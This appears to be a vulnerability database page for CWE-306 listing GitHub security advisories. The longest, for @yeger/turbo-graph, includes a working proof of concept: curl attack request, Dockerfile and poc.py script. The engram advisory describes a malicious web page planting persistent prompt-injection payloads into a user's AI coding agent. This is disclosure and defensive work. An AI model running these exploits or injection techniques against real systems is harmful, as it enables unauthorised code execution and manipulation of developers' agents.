CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
4625 vulnerabilities reference this CWE, most recent first.
GHSA-2QG7-25W5-V2QC
Vulnerability from github – Published: 2026-06-08 03:47 – Updated: 2026-06-08 03:47WordPress Augmented-Reality plugin contains a remote code execution vulnerability in the elFinder connector that allows unauthenticated attackers to upload and execute arbitrary PHP files. Attackers can send POST requests to the connector.minimal.php endpoint with mkfile and put commands to create malicious PHP files in the file_manager directory and execute them on the server.
{
"affected": [],
"aliases": [
"CVE-2023-54350"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-08T02:16:22Z",
"severity": "HIGH"
},
"details": "WordPress Augmented-Reality plugin contains a remote code execution vulnerability in the elFinder connector that allows unauthenticated attackers to upload and execute arbitrary PHP files. Attackers can send POST requests to the connector.minimal.php endpoint with mkfile and put commands to create malicious PHP files in the file_manager directory and execute them on the server.",
"id": "GHSA-2qg7-25w5-v2qc",
"modified": "2026-06-08T03:47:24Z",
"published": "2026-06-08T03:47:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-54350"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51788"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/wordpress-augmented-reality-plugin-remote-code-execution-unauthenticated"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2QJJ-4522-PJGP
Vulnerability from github – Published: 2025-04-01 12:30 – Updated: 2025-05-27 21:32The SMS Alert Order Notifications – WooCommerce plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.7.9. This is due to the plugin using the Host header to determine if the plugin is in a playground environment. This makes it possible for unauthenticated attackers to spoof the Host header to make the OTP code "1234" and authenticate as any user, including administrators.
{
"affected": [],
"aliases": [
"CVE-2024-13553"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T12:15:14Z",
"severity": "CRITICAL"
},
"details": "The SMS Alert Order Notifications \u2013 WooCommerce plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.7.9. This is due to the plugin using the Host header to determine if the plugin is in a playground environment. This makes it possible for unauthenticated attackers to spoof the Host header to make the OTP code \"1234\" and authenticate as any user, including administrators.",
"id": "GHSA-2qjj-4522-pjgp",
"modified": "2025-05-27T21:32:10Z",
"published": "2025-04-01T12:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13553"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3227241%40sms-alert\u0026new=3227241%40sms-alert\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3248017%40sms-alert\u0026new=3248017%40sms-alert\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4e444a30-11c5-4219-b4fe-635084cbac3a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2QV8-85X3-GF7X
Vulnerability from github – Published: 2026-09-17 12:32 – Updated: 2026-09-17 12:32Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-81441"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-17T12:18:27Z",
"severity": "MODERATE"
},
"details": "Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Denial of service.",
"id": "GHSA-2qv8-85x3-gf7x",
"modified": "2026-09-17T12:32:03Z",
"published": "2026-09-17T12:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81441"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000506586/dsa-2026-403-security-update-for-dell-openmanage-server-administrator-omsa-network-access-vulnerabilitiesv"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2R2P-4CGF-HV7H
Vulnerability from github – Published: 2026-04-22 14:52 – Updated: 2026-04-22 14:52Summary
The local HTTP server started by engram server (binding 127.0.0.1:7337 by default) was exposed to any browser origin with no authentication unless ENGRAM_API_TOKEN was explicitly set. Combined with Access-Control-Allow-Origin: * on every response and a body parser that did not require Content-Type: application/json, this allowed a malicious web page the developer visited to:
- Exfiltrate the local knowledge graph via
GET /queryandGET /stats(function names, file layout, recorded decisions/mistakes). - Inject persistent prompt-injection payloads via
POST /learn, which wrotemistake/decisionnodes that were later surfaced as system-reminders to the user's AI coding agent on every future session and file edit.
Severity: High — confidentiality + persistent indirect prompt injection against the user's coding agent.
Affected versions
engramx >= 1.0.0, < 2.0.2 — any version that shipped the HTTP server.
Patched in
engramx@2.0.2
Workarounds (if you cannot upgrade)
- Do not run
engram serverorengram ui. - If developers must, set
ENGRAM_API_TOKENto a long random value and terminate the server before browsing the web.
Remediation (applied in 2.0.2)
- Fail-closed auth on every non-public route — Bearer header or HttpOnly cookie, constant-time comparison, 256-bit auto-generated token at
~/.engram/http-server.token(0600). - Wildcard CORS removed entirely; default is no CORS headers. Opt-in allowlist via
ENGRAM_ALLOWED_ORIGINS. - Host + Origin validation — rejects DNS rebinding and Host spoofing.
Content-Type: application/jsonenforced on mutations — blocks the text/plain CSRF vector./ui?token=bootstrap withSec-Fetch-Sitegate — prevents cross-origin oracle probing.
Credit
Discovered and responsibly disclosed by @gabiudrescu in engram issue #7.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "engramx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-306",
"CWE-352",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T14:52:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe local HTTP server started by `engram server` (binding `127.0.0.1:7337` by default) was exposed to any browser origin with no authentication unless `ENGRAM_API_TOKEN` was explicitly set. Combined with `Access-Control-Allow-Origin: *` on every response and a body parser that did not require `Content-Type: application/json`, this allowed a malicious web page the developer visited to:\n\n1. **Exfiltrate** the local knowledge graph via `GET /query` and `GET /stats` (function names, file layout, recorded decisions/mistakes).\n2. **Inject persistent prompt-injection payloads** via `POST /learn`, which wrote `mistake`/`decision` nodes that were later surfaced as system-reminders to the user\u0027s AI coding agent on every future session and file edit.\n\nSeverity: **High** \u2014 confidentiality + persistent indirect prompt injection against the user\u0027s coding agent.\n\n### Affected versions\n\n`engramx` \u003e= 1.0.0, \u003c 2.0.2 \u2014 any version that shipped the HTTP server.\n\n### Patched in\n\n`engramx@2.0.2`\n\n### Workarounds (if you cannot upgrade)\n\n- Do **not** run `engram server` or `engram ui`.\n- If developers must, set `ENGRAM_API_TOKEN` to a long random value and terminate the server before browsing the web.\n\n### Remediation (applied in 2.0.2)\n\n1. Fail-closed auth on every non-public route \u2014 Bearer header or HttpOnly cookie, constant-time comparison, 256-bit auto-generated token at `~/.engram/http-server.token` (0600).\n2. Wildcard CORS removed entirely; default is no CORS headers. Opt-in allowlist via `ENGRAM_ALLOWED_ORIGINS`.\n3. Host + Origin validation \u2014 rejects DNS rebinding and Host spoofing.\n4. `Content-Type: application/json` enforced on mutations \u2014 blocks the text/plain CSRF vector.\n5. `/ui?token=` bootstrap with `Sec-Fetch-Site` gate \u2014 prevents cross-origin oracle probing.\n\n### Credit\n\nDiscovered and responsibly disclosed by @gabiudrescu in engram issue #7.",
"id": "GHSA-2r2p-4cgf-hv7h",
"modified": "2026-04-22T14:52:03Z",
"published": "2026-04-22T14:52:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NickCirv/engram/security/advisories/GHSA-2r2p-4cgf-hv7h"
},
{
"type": "WEB",
"url": "https://github.com/NickCirv/engram/issues/7"
},
{
"type": "PACKAGE",
"url": "https://github.com/NickCirv/engram"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "engram: HTTP server CORS wildcard + auth-off-by-default enables CSRF graph exfiltration and persistent indirect prompt injection"
}
GHSA-2R4F-JFX8-MHM3
Vulnerability from github – Published: 2024-05-08 00:31 – Updated: 2024-05-08 00:31NETGEAR Multiple Routers httpd Missing Authentication for Critical Function Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of multiple NETGEAR routers. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the httpd service, which listens on TCP port 80 by default. The issue results from the lack of authentication prior to allowing access to system configuration information. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-13708.
{
"affected": [],
"aliases": [
"CVE-2021-34983"
],
"database_specific": {
"cwe_ids": [
"CWE-120",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-07T23:15:13Z",
"severity": "MODERATE"
},
"details": "NETGEAR Multiple Routers httpd Missing Authentication for Critical Function Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of multiple NETGEAR routers. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the httpd service, which listens on TCP port 80 by default. The issue results from the lack of authentication prior to allowing access to system configuration information. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-13708.",
"id": "GHSA-2r4f-jfx8-mhm3",
"modified": "2024-05-08T00:31:15Z",
"published": "2024-05-08T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34983"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000064313/Security-Advisory-for-Pre-Authentication-Buffer-Overflow-on-Some-Extenders-Routers-and-DSL-Modem-Routers-PSV-2021-0159"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1275"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2R5Q-H53F-9RP3
Vulnerability from github – Published: 2026-09-09 23:47 – Updated: 2026-09-09 23:47Unauthenticated Network-Exposed Turborepo Task Execution via /api/run
Summary
@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.
Details
Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:
Flaw 1 — Server bound to all interfaces (not loopback)
packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.
// packages/turbo-graph/src/index.ts
19 const hostname = 'localhost' // used only for console URL, not for listen()
...
44 .listen(options.port, () => { // hostname argument missing → 0.0.0.0 bind
45 const url = `http://${hostname}:${options.port}`
Flaw 2 — Unauthenticated /api/run task execution endpoint
packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.
// packages/turbo-graph-ui/app/api/run/route.ts
156 export function GET(req: NextRequest) {
157 const url = new URL(req.url)
159 const tasksParam = url.searchParams.getAll('tasks') // attacker-controlled source
171 const filter = url.searchParams.get('filter') ?? undefined
176 return buildResponseFromArgs(tasks, filter, req.signal, { force })
// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts
20 const args: string[] = ['run', ...tasks] // tasks inserted directly
25 args.push(`--filter=${trimmed}`)
31 args.push('--force')
34 const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
// ^ sink: arbitrary task execution
Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.
PoC
Environment setup (victim machine):
mkdir /tmp/tg-poc && cd /tmp/tg-poc
cat > package.json <<'JSON'
{
"private": true,
"scripts": {
"pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\""
},
"devDependencies": {
"@yeger/turbo-graph": "2.8.8",
"turbo": "^2.0.0"
}
}
JSON
cat > turbo.json <<'JSON'
{
"tasks": {
"pwn": { "cache": false }
}
}
JSON
npm install
npx turbo-graph --port 29312
Verify the server is bound to all interfaces (Flaw 1):
ss -tlnp 'sport = :29312'
# Expected: LISTEN 0 511 *:29312 (0.0.0.0, not 127.0.0.1)
Attack request (from any host on the same network segment):
# Replace <victim-ip> with the victim machine's LAN IP address.
curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"
Expected outcome:
- The server returns HTTP 200 with a
text/event-streamresponse. - An SSE
startevent is received withargs: ["run", "pwn", "--ui=stream", "--force"], confirming that the unauthenticated request was accepted. - The file
/tmp/turbo-graph-pocis created on the victim machine with contentowned, proving arbitrary task execution.
Containerized reproduction (automated):
The enclosed Dockerfile and poc.py provide a self-contained reproduction. Build and run:
docker build -t vuln-001-poc <vuln-001-dir>
docker run --rm vuln-001-poc
The container confirmed all three evidence points during Phase 2 dynamic testing:
1. ss -tlnp sport=:29312 → LISTEN 0 511 *:29312 (all-interface binding confirmed)
2. GET /api/run?tasks=pwn&force=true → HTTP 200, SSE start event with args: ["run","pwn","--ui=stream","--force"] (no token required)
3. /tmp/poc-proof.txt created with content PWNED:<timestamp> (arbitrary task execution confirmed)
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running turbo-graph can execute arbitrary Turborepo tasks defined in that developer's repository.
Depending on the tasks configured in the victim's turbo.json, the impact includes:
- Confidentiality (High): Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.
- Integrity (High): Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure.
- Availability (High): Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.
The attack requires no credentials, no prior access, and no interaction from the victim beyond having turbo-graph running. The default port (29312) is static and predictable, making targeted network scanning straightforward. All users who run npx turbo-graph or install @yeger/turbo-graph@2.8.8 in a shared or corporate network environment are affected.
Reproduction artifacts
Dockerfile
# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8)
#
# Layout:
# /victim/ - simulated developer workspace that runs turbo-graph
# /victim/pwn.js - the task payload executed when the attacker fires /api/run
# /poc.py - attacker script: sends unauthenticated GET /api/run?tasks=pwn
#
# Build:
# docker build -t vuln-001-poc <vuln-001-dir>
#
# Run:
# docker run --rm vuln-001-poc
FROM node:20-slim
# System tools:
# python3 - runs poc.py
# iproute2 - ss(8) for socket-binding introspection (evidence collection)
RUN apt-get update && \
apt-get install -y --no-install-recommends python3 iproute2 && \
rm -rf /var/lib/apt/lists/*
# ---------------------------------------------------------------------------
# Victim workspace: a minimal Turborepo project that a developer might run
# ---------------------------------------------------------------------------
WORKDIR /victim
# package.json: defines the 'pwn' task script and package dependencies.
# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).
# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.
RUN echo '{"private":true,"name":"victim-project","packageManager":"npm@10.8.2","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \
> /victim/package.json
# turbo.json: declares the 'pwn' task with caching disabled so it always runs.
RUN echo '{"tasks":{"pwn":{"cache":false}}}' \
> /victim/turbo.json
# pwn.js: task payload — writes a timestamped proof file and logs to stdout.
# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.
RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK_EXECUTED:" + ts);' \
> /victim/pwn.js
# Install packages from the declarations in package.json.
# --legacy-peer-deps avoids strict peer-dep resolution failures.
# The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built
# .next/ directory, so no separate 'next build' step is required.
RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5
# ---------------------------------------------------------------------------
# Attacker PoC script
# ---------------------------------------------------------------------------
COPY poc.py /poc.py
# Default: execute the PoC (start server, fire unauthenticated request, verify)
CMD ["python3", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution
Package: @yeger/turbo-graph@2.8.8
CWE: CWE-306 (Missing Authentication for Critical Function)
CVSS: 8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Two independent flaws combine into the vulnerability:
1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a
hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).
2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler
has zero authentication; attacker-supplied ?tasks= values are passed
directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).
Attack scenario reproduced here:
- Victim runs `turbo-graph` from a project with a side-effecting task.
- Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.
- The server executes `turbo run pwn` in the victim's project directory.
- The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.
"""
import os
import socket
import subprocess
import sys
import time
import urllib.error
import urllib.request
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
PROOF_FILE = "/tmp/poc-proof.txt"
PORT = 29312
VICTIM_DIR = "/victim"
TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph")
SERVER_STARTUP_TIMEOUT = 120 # seconds; Next.js production startup can be slow
REQUEST_TIMEOUT = 90 # seconds to wait for the SSE stream to finish
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def wait_for_port(host: str, port: int, timeout: int) -> bool:
"""Poll until the TCP port accepts connections or timeout expires."""
deadline = time.time() + timeout
while time.time() < deadline:
try:
with socket.create_connection((host, port), timeout=2):
return True
except (ConnectionRefusedError, OSError):
time.sleep(1)
return False
def get_socket_binding(port: int) -> str:
"""Return the raw 'ss' output for the listening socket on *port*."""
try:
result = subprocess.run(
["ss", "-tlnp", f"sport = :{port}"],
capture_output=True,
text=True,
timeout=5,
)
return result.stdout.strip()
except Exception as exc:
return f"(ss unavailable: {exc})"
def binding_is_all_interfaces(ss_output: str) -> bool:
"""Return True when the socket is listening on all interfaces."""
return any(
marker in ss_output
for marker in ("0.0.0.0", "*:", "[::]", ":::")
)
def read_sse_stream(url: str, timeout: int) -> list:
"""
Open *url* as a Server-Sent Events stream and return parsed events.
Each event is a dict with keys 'type' and optionally 'data'.
Stops when an 'end' event is received or *timeout* seconds elapse.
"""
events = []
try:
req = urllib.request.Request(
url,
headers={
"Accept": "text/event-stream",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
},
)
with urllib.request.urlopen(req, timeout=timeout) as resp:
print(f" [HTTP] {resp.status} {resp.reason}")
print(f" [HTTP] Content-Type: {resp.getheader('Content-Type', '')}")
buf = ""
deadline = time.time() + timeout
while time.time() < deadline:
chunk = resp.read(4096)
if not chunk:
break
buf += chunk.decode("utf-8", errors="replace")
# Parse complete SSE blocks (separated by blank lines)
while "\n\n" in buf:
block, buf = buf.split("\n\n", 1)
ev: dict = {}
for line in block.strip().split("\n"):
if line.startswith("event: "):
ev["type"] = line[7:]
elif line.startswith("data: "):
ev["data"] = line[6:]
# ignore SSE comments (':') and 'retry:' lines
if ev.get("type"):
events.append(ev)
preview = ev.get("data", "")[:120]
print(f" [SSE] event={ev['type']} data={preview}")
if ev["type"] == "end":
return events
except urllib.error.HTTPError as exc:
print(f" [!] HTTP error: {exc.code} {exc.reason}")
except Exception as exc:
print(f" [!] Stream error: {type(exc).__name__}: {exc}")
return events
# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------
def main() -> int:
sep = "=" * 64
print(sep)
print("VULN-001 PoC — Unauthenticated Turborepo Task Execution")
print("Package : @yeger/turbo-graph@2.8.8")
print("CWE-306 : Missing Authentication for Critical Function")
print(sep)
print()
# Remove stale proof file from a previous run
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
# ------------------------------------------------------------------
# Step 1: Start turbo-graph server from the victim project directory
# The CLI does NOT pass a hostname to .listen(), so Node.js binds to
# 0.0.0.0 (all interfaces) — see index.ts:44.
# ------------------------------------------------------------------
print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...")
server = subprocess.Popen(
[TURBO_GRAPH_BIN, "--port", str(PORT)],
cwd=VICTIM_DIR,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
)
# ------------------------------------------------------------------
# Step 2: Wait for the port to become available
# ------------------------------------------------------------------
print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...")
ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT)
if not ready:
server.kill()
stdout, _ = server.communicate()
print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.")
print(f" stdout/stderr:\n{stdout[:2000]}")
return 1
print(f"[+] Server is accepting connections on port {PORT}.")
# ------------------------------------------------------------------
# Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)
# Flaw 1: .listen(port) without hostname → network-exposed.
# ------------------------------------------------------------------
ss_output = get_socket_binding(PORT)
print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):")
print(f" {ss_output}")
if binding_is_all_interfaces(ss_output):
print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.")
else:
print(f"[?] Could not confirm all-interface binding; proceeding with request test.")
# ------------------------------------------------------------------
# Step 4: Send an unauthenticated GET /api/run?tasks=pwn request
# Flaw 2: no authentication, authorisation, CSRF check, or task
# allowlist — see route.ts:156-177.
# ------------------------------------------------------------------
url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true"
print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):")
print(f" GET {url}")
sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)
# Allow a moment for any buffered I/O in the child process to flush
time.sleep(3)
# ------------------------------------------------------------------
# Step 5: Evaluate exploitation results
# ------------------------------------------------------------------
exploited = os.path.exists(PROOF_FILE)
proof_content = open(PROOF_FILE).read().strip() if exploited else ""
start_event = next((e for e in sse_events if e.get("type") == "start"), None)
end_event = next((e for e in sse_events if e.get("type") == "end"), None)
log_events = [e for e in sse_events if e.get("type") in ("log", "stderr")]
print()
print(sep)
print("EVIDENCE SUMMARY")
print(sep)
# Evidence A: socket binding
if binding_is_all_interfaces(ss_output):
print(f"[A] FLAW-1 — Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}")
else:
print(f"[A] FLAW-1 — ss output: {ss_output[:80]}")
# Evidence B: unauthenticated SSE response
if start_event:
print(f"[B] FLAW-2 — Unauthenticated /api/run accepted; SSE start args:")
print(f" {start_event.get('data', '')}")
else:
received = [e.get("type") for e in sse_events]
print(f"[B] FLAW-2 — SSE events received: {received}")
# Evidence C: turbo task exit code
if end_event:
print(f"[C] TURBO — turbo run exit code: {end_event.get('data', '')}")
# Evidence D: proof file (arbitrary code execution)
if exploited:
print(f"[D] EXPLOIT — Proof file created: {PROOF_FILE}")
print(f" Content: {proof_content}")
else:
print(f"[D] EXPLOIT — Proof file NOT created: {PROOF_FILE}")
if log_events:
print(f" Task stdout/stderr (first 5 lines):")
for ev in log_events[:5]:
print(f" [{ev['type']}] {ev.get('data', '')}")
print(sep)
# Clean up
server.kill()
server.wait(timeout=10)
if exploited:
print("\n[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.")
return 0
else:
print("\n[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.")
return 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.8.8"
},
"package": {
"ecosystem": "npm",
"name": "@yeger/turbo-graph"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59160"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:47:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unauthenticated Network-Exposed Turborepo Task Execution via /api/run\n\n### Summary\n\n`@yeger/turbo-graph` starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (`0.0.0.0:29312` by default). The `/api/run` HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via `spawn()`. Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim\u0027s repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer\u0027s OS user.\n\n### Details\n\nTwo independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:\n\n**Flaw 1 \u2014 Server bound to all interfaces (not loopback)**\n\n`packages/turbo-graph/src/index.ts:44` calls `.listen(options.port, callback)` without passing a hostname argument. Although `const hostname = \u0027localhost\u0027` is declared at line 19, it is used only for constructing the console log URL and is never passed to `listen()`. Node.js therefore defaults to binding on `0.0.0.0` (all IPv4 interfaces) and `::` (all IPv6 interfaces), making the server reachable from the local network segment.\n\n```ts\n// packages/turbo-graph/src/index.ts\n19 const hostname = \u0027localhost\u0027 // used only for console URL, not for listen()\n...\n44 .listen(options.port, () =\u003e { // hostname argument missing \u2192 0.0.0.0 bind\n45 const url = `http://${hostname}:${options.port}`\n```\n\n**Flaw 2 \u2014 Unauthenticated `/api/run` task execution endpoint**\n\n`packages/turbo-graph-ui/app/api/run/route.ts:156\u2013177` defines `GET()`, which reads `tasks`, `filter`, and `force` from the request query string and passes them directly to `buildResponseFromArgs`, which appends them to a Turbo CLI argument array and calls `spawn()`. There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.\n\n```ts\n// packages/turbo-graph-ui/app/api/run/route.ts\n156 export function GET(req: NextRequest) {\n157 const url = new URL(req.url)\n159 const tasksParam = url.searchParams.getAll(\u0027tasks\u0027) // attacker-controlled source\n171 const filter = url.searchParams.get(\u0027filter\u0027) ?? undefined\n176 return buildResponseFromArgs(tasks, filter, req.signal, { force })\n\n// buildResponseFromArgs \u2014 packages/turbo-graph-ui/app/api/run/route.ts\n20 const args: string[] = [\u0027run\u0027, ...tasks] // tasks inserted directly\n25 args.push(`--filter=${trimmed}`)\n31 args.push(\u0027--force\u0027)\n34 const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: \u0027true\u0027 } })\n // ^ sink: arbitrary task execution\n```\n\nBecause `spawn()` is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in `turbo.json` of the victim\u0027s repository can be selected and run without restriction.\n\n### PoC\n\n**Environment setup (victim machine):**\n\n```bash\nmkdir /tmp/tg-poc \u0026\u0026 cd /tmp/tg-poc\n\ncat \u003e package.json \u003c\u003c\u0027JSON\u0027\n{\n \"private\": true,\n \"scripts\": {\n \"pwn\": \"node -e \\\"require(\u0027fs\u0027).writeFileSync(\u0027/tmp/turbo-graph-poc\u0027, \u0027owned\\\\n\u0027)\\\"\"\n },\n \"devDependencies\": {\n \"@yeger/turbo-graph\": \"2.8.8\",\n \"turbo\": \"^2.0.0\"\n }\n}\nJSON\n\ncat \u003e turbo.json 